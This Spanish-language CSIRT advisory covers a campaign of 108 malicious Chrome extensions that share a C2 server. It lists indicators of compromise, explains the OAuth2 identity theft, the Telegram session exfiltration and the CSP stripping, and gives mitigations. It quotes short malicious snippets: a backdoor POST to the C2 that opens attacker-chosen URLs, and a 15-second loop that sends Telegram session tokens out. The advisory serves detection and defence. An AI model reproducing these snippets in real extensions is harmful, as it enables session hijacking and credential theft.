CSIRT Salud

Boletín informativo

CSIRTSALUD-AL-20260416-92

TLP: CLEAR

Alerta ID:	092
Fecha del reporte:	16/04/2026
Entidad:	Todas las entidades del ecosistema digital
Título:	Campaña de Extensiones Maliciosas de Chrome
Herramienta de detección	N/A
Activo involucrado:	Navegadores Web
Tipo de alerta:	Gestión de vulnerabilidades
Nivel de riesgo:	Alto

Objetivo:

Informar a las entidades del ecosistema digital sobre una campaña activa y coordinada que involucra 108 extensiones maliciosas del navegador Google Chrome. Estas extensiones, descubiertas el 13 de abril de 2026 por el equipo de investigación de amenazas de Socket, operan bajo una infraestructura de Comando y Control (C2) compartida, con el propósito de exfiltrar credenciales, robar sesiones activas de plataformas como Telegram y cuentas Google, además de introducir puertas traseras en el navegador del usuario afectado.

Estas extensiones han acumulado aproximadamente 20.000 instalaciones en Chrome Web Store y permanecen activas al momento de publicación de este boletín.

Boletín informativo

CSIRTSALUD-AL-20260416-92 **TLP: CLEAR**

Descripción:

El equipo de investigación de amenazas de Socket identificó el 13 de abril de 2026 una campaña coordinada compuesta por 108 extensiones maliciosas publicadas en la Chrome Web Store. Estas extensiones, aunque ofrecen funcionalidades aparentemente legítimas (clientes de Telegram, juegos de máquinas tragamonedas, mejoras para YouTube y TikTok, herramientas de traducción y utilidades de página), ejecutan código malicioso en segundo plano conectado a un servidor C2 centralizado.

Todas las extensiones comparten el mismo backend: el dominio cloudapi[.]stream, registrado el 30 de abril de 2022. Las extensiones fueron publicadas bajo cinco identidades distintas de desarrollador: Yana Project, GameGen, SideGames, Rodeo Games e InterAlt, y acumularon aproximadamente 20.000 instalaciones en la Chrome Web Store al momento del descubrimiento.

Distribución de comportamientos maliciosos

54 extensiones roban identidad de cuenta Google mediante OAuth2
1 extensión exfiltra activamente sesiones de Telegram Web cada 15 segundos
1 extensión contiene infraestructura lista para robo de sesión de Telegram (no activada aun)
2 extensiones eliminan cabeceras de seguridad de YouTube e inyectan publicidad
1 extensión elimina cabeceras de seguridad de TikTok e inyecta publicidad
2 extensiones inyectan scripts en cada página visitada por el usuario
1 extensión enruta todas las solicitudes de traducción a través del servidor del atacante
45 extensiones contienen una puerta trasera universal que abre URLs arbitrarias al iniciar el navegador

CSIRT Salud

Boletín informativo

CSIRTSALUD-AL-20260416-92

TLP: CLEAR

Ficha técnica del incidente

Información General	
Nombre de la amenaza	Campaña de 108 Extensiones Chrome con C2 compartida (cloudapi[.]stream)
Fecha de descubrimiento	13 de abril de 2026
Fecha de emisión boletín	15 de abril de 2026
Fuente del reporte	Socket Threat Research Team — socket.dev
Tipo de amenaza	Malware de extensión de navegador / Robo de sesión / Exfiltración de datos / Backdoor
Nivel de criticidad	CRÍTICO
Plataformas afectadas	Google Chrome (cualquier versión con las extensiones instaladas)
Número de extensiones	108 extensiones identificadas
Instalaciones afectadas	Aproximadamente 20.000 instalaciones globales
Estado actual	Extensiones aún activas; solicitudes de baja enviadas a Google
IP del servidor C2	144[.]126[.]135[.]238 — Contabo GmbH VPS
Dominio C2 principal	cloudapi[.]stream (registrado el 30 de abril de 2022)

Indicadores de compromiso (IoC)

Dominios e Infraestructura C2

Tipo de IoC	Valor	Descripción
Dominio C2	cloudapi[.]stream	Backend principal compartido por las 108 extensiones

Tipo de IoC	Valor	Descripción
Subdominio C2	tg[.]cloudapi[.]stream	Endpoint específico para exfiltración de sesiones Telegram
URL C2	tg[.]cloudapi[.]stream/save_session.php	Endpoint receptor de sesiones robadas de Telegram
URL C2	tg[.]cloudapi[.]stream/count_sessions.php	Heartbeat de 30s para monitoreo de sesiones activas
URL C2	[C2]/user_info	Endpoint de inicio: identifica la extensión al arrancar
Dominio	top[.]rodeo	Dominio adicional vinculado al operador

Infraestructura de Servidor

Tipo de IoC	Valor	Descripción
IP	144[.]126[.]135[.]238	Servidor Contabo con 9 puertos abiertos (Strapi:1337, PostgreSQL:5432)

Extensiones de Mayor Riesgo (IDs Chrome)

Tipo de IoC	Valor	Descripción
Extensión ID	obifanppcpchlehkjipahhphbcbjekfa	Telegram Multi-account - robo activo de sesión
Extensión ID	mdcfennpfgkngnibjbpnpaafcjnhcjno	Web Client for Telegram - Teleside - infra de robo
Extensión ID	ogogpebnagniggbnkbpjioobomdbmdcj	Text Translation - proxy y exfiltración de email

Identificadores de Proyecto Google Cloud del Atacante

Tipo de IoC	Valor	Descripción
OAuth2 Project	1096126762051	ID de proyecto Google Cloud usado para robo de identidad
OAuth2 Project	170835003632	Segundo ID de proyecto Google Cloud del atacante

Patrones de Código Detectables

Tipo de IoC	Valor	Descripción
Patrón de Código	loadInfo() + POST /user_info + infoURL + chrome.tabs.create	Firma comportamental de la puerta trasera universal
Patrón de Código	getSessionDataJson() + chrome.runtime.sendMessage	Patrón de exfiltración de sesión Telegram
Patrón de Código	declarativeNetRequest que elimina Content-Security-Policy	Eliminación de cabeceras de seguridad
Permisos	permission: identity + oauth2 client ID Google Cloud	Indicador de robo de identidad OAuth2

Versiones afectadas

Las extensiones maliciosas operan sobre Google Chrome en todas sus versiones disponibles. No existe una versión específica del navegador que mitigue la amenaza; el riesgo está determinado exclusivamente por la presencia de las extensiones instaladas.

Entornos y Plataformas Afectadas	
Navegador	• Google Chrome (todas las versiones que soportan la Chrome Web Store) • Microsoft Edge (Chromium) - si las extensiones son instaladas desde la Chrome Web Store • Brave, Opera y otros navegadores basados en Chromium que permitan extensiones de Chrome
Sistema Operativo	Windows, macOS, Linux, ChromeOS
Perfiles de usuario	Usuarios corporativos y personales con Chrome Web Store habilitado
Servicios comprometidos	Telegram Web (web.telegram.org), Google Account (OAuth2), YouTube, TikTok
Aplicaciones de empresa	Cualquier aplicación web accedida desde un navegador con las extensiones instaladas
Módulo de gestión C2	Strapi CMS con PostgreSQL en puerto 5432 (servidor del atacante)

Extensiones de Mayor Riesgo (Prioridad de Revisión)

Nombre de la Extensión	ID de Extensión	Amenaza Principal
Telegram Multi-account	obifanppcpchlehkjipahhphbcbjekfa	Robo de sesión Telegram cada 15 seg.
Web Client for Telegram - Teleside	mdcfennpfgkngnibjbpnpaafcjnhcjno	Infraestructura de robo (en espera)
YouSide - Youtube Sidebar	mmecpiobcdbjkaijljohghhpfgngpjmk	Bypass CSP + inyección publicidad
Web Client for TikTok	cbfhnceafaenchbefokkngcbnejached	Bypass CSP + inyección contenido
Text Translation	ogogpebnagniggbnkbpjioobomdbmdcj	Proxy vigilancia de traducciones

Nombre de la Extensión	ID de Extensión	Amenaza Principal
Page Locker	ldmnhdllijbchflpbmnlgndfnlgmkgif	Backdoor loadInfo() por startup
Page Auto Refresh	lnajjhohknhgemncbaomjjjpmpdigedg	Backdoor loadInfo() por startup
Formula Rush Racing Game	akebbllmckjphjiojeioooidhnddnplj	Robo identidad Google OAuth2
InterAlt	pkghgkfjhjghinikeanecbgjehojfhdg	Robo identidad Google OAuth2

Modo de explotación del ataque

Distribución y Camuflaje

Las extensiones son publicadas en la Chrome Web Store bajo cinco identidades distintas de desarrollador para aparentar independencia entre sí. Ofrecen funcionalidades legítimas y operativas: el usuario que instala un cliente de Telegram recibe una interfaz de chat funcional; el usuario que instala un juego obtiene un juego jugable. Esta fachada de legitimidad reduce la sospecha y supera las revisiones superficiales de la tienda.

Inicialización y Registro en el C2 (loadInfo)

Al activarse la extensión, el service worker ejecuta la función loadInfo() que realiza un POST al endpoint /user_info del C2, enviando el ID de la extensión. El servidor responde con una URL (infoURL) que la extensión abre automáticamente en una nueva pestaña mediante chrome.tabs.create. Este mecanismo actúa como puerta trasera universal: el operador puede enviar cualquier URL a 45 extensiones en cualquier momento, incluyendo páginas de phishing, exploits o contenido fraudulento.

```
POST https://cloudapi[.]stream/user_info  {extensionId: "<id>"}
```

```
-> respuesta: {infoURL: "https://pagina-maliciosa.com"} -> chrome.tabs.create({url: infoURL})
```

Robo de Identidad Google mediante OAuth2

54 extensiones solicitan el permiso 'identity' junto con IDs de cliente OAuth2 asociados a proyectos Google Cloud controlados por el atacante. Al iniciar sesión el usuario, la extensión captura el token OAuth2 y realiza una solicitud a la API de Google para obtener el perfil completo del usuario (nombre, correo electrónico). Estos datos son enviados al C2 via POST. El atacante puede utilizar estos tokens para acceder a servicios Google en nombre de la víctima.

Exfiltración de Sesión de Telegram (cada 15 segundos)

La extensión 'Telegram Multi-account' (obifanppcpchlehkjipahhphbcbjekfa) inyecta content.js en https://web.telegram.org/* al inicio del documento (document_start). De inmediato, antes de que el usuario interactúe, serializa todo el localStorage de la página y extrae el token user_auth que Telegram Web usa para autenticar la sesión. Este token es enviado al service worker, que lo reenvía al endpoint save_session.php del C2. El proceso se repite en un bucle cada 15 segundos durante toda la vida de la pestaña.

```
setInterval(() => { let info = getSessionDataJson(); if (info.user_id !== null) { chrome.runtime.sendMessage({action: 'save_session', data: JSON.stringify(info)}); } }, 15000);
```

Toma de Control Total de la Cuenta Telegram

El C2 puede enviar de vuelta un mensaje set_session_changed a la extensión. Esta acción borra todo el localStorage de la víctima, lo sobrescribe con datos de sesión elegidos por el atacante (cualquier otra cuenta de Telegram) y fuerza la recarga de la aplicación. Esto permite al operador reemplazar la cuenta activa del navegador de la víctima con la de otra persona sin ningún conocimiento de la víctima. Un heartbeat de 30 segundos informa al C2 cuantas sesiones activas están disponibles en tiempo real.

Eliminación de Cabeceras de Seguridad e Inyección de Contenido

Mediante reglas declarativeNetRequest, ciertas extensiones eliminan cabeceras HTTP críticas como Content-Security-Policy, X-Frame-Options y CORS de plataformas como YouTube y TikTok. Esto neutraliza las protecciones nativas del navegador y permite la inyección de publicidad maliciosa y scripts arbitrarios en esas páginas. Otras dos extensiones inyectan scripts de contenido en absolutamente todas las páginas visitadas por el usuario, creando un vector de monitoreo total de la navegación.

Modelo de Monetización - Malware-as-a-Service

Los investigadores de Socket sospechan que el operador gestiona una plataforma de Malware-as-a-Service donde las identidades y sesiones robadas son puestas a disposición de compradores externos. El servidor C2 incluye componentes Strapi (CMS/API) en el puerto 1337 y PostgreSQL en el puerto 5432, sugiriendo una infraestructura organizada para almacenar, gestionar y comercializar los datos exfiltrados.

vulnerabilidades y debilidades explotadas

Esta campaña no explota CVEs tradicionales de software. En cambio, abusa de capacidades legítimas del modelo de extensiones de Chrome y de debilidades en los controles de la tienda oficial:

Abuso del Modelo de Permisos de Chrome

Las extensiones de Chrome tienen acceso privilegiado a cookies, localStorage, sesiones activas y solicitudes de red. El modelo de permisos, cuando el usuario lo acepta al instalar, otorga acceso legal a datos sensibles. No existen CVEs asociados ya que el abuso ocurre dentro de los límites permitidos por la API de Chrome Extensions.

Debilidad en la Revisión de la Chrome Web Store

La Chrome Web Store no detectó el código malicioso en 108 extensiones durante periodos que superan un año (la extensión de mayor antigüedad tiene su última actualización en febrero de 2025). Esto revela una debilidad sistémica en los procesos de revisión automatizada y manual de Google para extensiones.

Abuso de declarativeNetRequest para Eliminar CSP

La API declarativeNetRequest fue diseñada para filtrado de contenido eficiente. Su uso para eliminar cabeceras Content-Security-Policy constituye un abuso que neutraliza una defensa fundamental del navegador, permitiendo la inyección de scripts en origen cruzado sin que el navegador lo bloquee.

Ausencia de Autenticación en Tokens de Sesión

Los tokens de sesión de Telegram Web almacenados en localStorage no están vinculados criptográficamente a un dispositivo o IP específica. Esto significa que copiar el token es suficiente para suplantar la sesión desde cualquier lugar, sin activar alertas de MFA o inicio de sesión sospechoso.

Recomendaciones de detección y mitigación

Acciones Inmediatas (Prioridad Crítica)

- Bloquear a nivel de red (firewall/proxy/DNS) el dominio cloudapi[.]stream y todos sus subdominios (tg.cloudapi[.]stream, etc.), así como el dominio top[.]rodeo.
- Bloquear la IP 144[.]126[.]135[.]238 en el perímetro de red.
- Auditar todas las extensiones de Chrome instaladas en dispositivos corporativos y eliminar cualquiera de las 108 identificadas por Socket.

- Los usuarios que instalaron 'Telegram Multi-account' deben cerrar sesión en todos los dispositivos Telegram Web: Configuración > Dispositivos > Terminar todas las otras sesiones.
- Revocar permisos OAuth2 de terceros en la cuenta Google: myaccount.google.com > Seguridad > Aplicaciones de terceros.

Detección Técnica

- Monitorear tráfico saliente hacia cloudapi[.]stream via SIEM/UEBA. Alertar ante cualquier conexión desde endpoints corporativos.
- Detectar extensiones que declaren el permiso 'identity' junto con IDs de cliente OAuth2 de los proyectos 1096126762051 o 170835003632 en Google Cloud.
- Analizar extensiones instaladas en busca del patrón: combinación de 'user_info', 'infoURL' y 'chrome.tabs.create' en el código del service worker.
- Detectar reglas declarativeNetRequest que eliminen la cabecera 'content-security-policy' de sitios conocidos: es comportamiento altamente anómalo en extensiones legítimas.
- Monitorear POST repetitivos (cada 15-30 segundos) desde el navegador hacia dominios no reconocidos como indicador de heartbeat C2.

Controles Preventivos para Organizaciones

- Implementar políticas de Grupo (GPO) o MDM para restringir la instalación de extensiones de Chrome solo a una lista blanca aprobada por el equipo de seguridad.
- Desplegar soluciones de seguridad para endpoints (EDR) que detecten comportamiento anómalo de extensiones de navegador.
- Activar inspección SSL/TLS en el proxy corporativo para visibilidad sobre tráfico HTTPS saliente de extensiones.

- Habilitar Google Safe Browsing avanzado en Chrome para dispositivos corporativos.
- Capacitar a usuarios sobre los riesgos de instalar extensiones de navegador de fuentes no verificadas, incluso desde tiendas oficiales.

Remediación Post-Compromiso

- Si se confirma compromiso de cuentas Telegram: notificar a los contactos del usuario afectado sobre posible suplantación.
- Si se confirma el robo de token OAuth2 de Google: cambiar contraseña de la cuenta Google, revocar todos los tokens activos y habilitar verificación en dos pasos.
- Revisar logs de acceso a sistemas internos desde el periodo en que la extensión estuvo activa para detectar movimiento lateral.

Fuentes:

- Socket Threat Research Team (13 abril 2026): '108 Chrome Extensions Linked to Data Exfiltration and Session Theft via Shared C2 Infrastructure' - https://socket.dev/blog/108-chrome-ext-linked-to-data-exfil-session-theft-shared-c2
- The Hacker News (14 abril 2026): '108 Malicious Chrome Extensions Steal Google and Telegram Data' - https://thehackernews.com/2026/04/108-malicious-chrome-extensions-steal.html
- Infosecurity Magazine (14 abril 2026): 'Malicious Chrome Extensions Campaign Exposes User Data'
- MITRE ATT&CK Framework: https://attack.mitre.org

En caso de dudas, inquietudes o requerir asistencia adicional relacionada con esta alerta de seguridad, puede comunicarse directamente con el **CSIRT Salud** a través de las líneas telefónicas **(+57) 316 893 1490 - 318 155 3570** o mediante el correo electrónico

csirtsalud@minsalud.gov.co. Nuestro equipo está disponible para brindar el acompañamiento necesario.